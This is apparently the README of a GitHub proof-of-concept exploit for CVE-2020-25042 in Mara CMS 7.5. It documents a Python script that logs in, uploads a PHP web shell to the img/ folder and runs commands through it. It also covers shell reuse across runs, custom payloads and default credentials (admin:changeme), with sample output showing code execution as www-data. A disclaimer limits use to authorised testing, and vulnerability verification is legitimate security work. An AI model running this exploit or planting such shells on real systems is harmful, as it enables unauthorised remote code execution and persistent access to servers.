groppoxx/cve-2020-25042-pocPoC for CVE-2020-25042: automated Mara CMS 7.5 authenticated PHP upload to RCE, with login hash handling, shell reuse, custom payload support, and clean CLI output.
Proof-of-concept for CVE-2020-25042, an authenticated arbitrary file upload issue in Mara CMS 7.5 that can lead to remote code execution.
The script logs in with a valid Mara CMS admin/manager account, uploads a PHP payload through codebase/handler.php, and executes commands through the uploaded file.
It also reuses an existing shell when possible, so you do not create a new PHP file on every run.
shash.setsalt action.codebase/dir.php?type=filenew.codebase/handler.php.--cmd through the uploaded shell.Python 3.8+
pip install -r requirements.txt
Required Python packages:
requests
urllib3
Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the < or > characters.
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # Target Mara CMS base URL. Example: http://target/cms
<USERNAME> # Valid Mara CMS admin/manager username.
<PASSWORD> # Valid Mara CMS admin/manager password.
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
Example output:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
By default, the script uses a stable shell name:
mara-poc.php
On the next run, it checks:
http://target/cms/img/mara-poc.php
If the shell responds with the expected marker, the script skips login and upload:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
To reuse a shell created with a previous random name:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
You can also pass the exposed shell path directly:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
Upload the payload without executing a command:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
Existing CMS page used to bootstrap login and extract shash. Default: lorem.php
--shell-name <NAME>
PHP filename to upload or reuse. Default: mara-poc.php
--shell-url-path <PATH_OR_URL>
Explicit shell path or URL to reuse.
Example: /cms/img/mara-poc.php
--payload-file <FILE>
Upload a custom PHP payload instead of the default ?cmd= shell.
--destdir <DIR>
Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.
--force-upload
Always login and upload, even if a reusable shell already exists.
--upload-only
Upload the payload but do not execute --cmd.
--only-final
Hide progress logs and print only command output.
--no-color
Disable ANSI colors.
--debug
Print request URLs and short handler response snippets.
admin:changeme on unmodified test installs.MARA_CVE_2020_25042_OK before command output.img/.--force-upload only when you need to overwrite or recreate the payload.This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.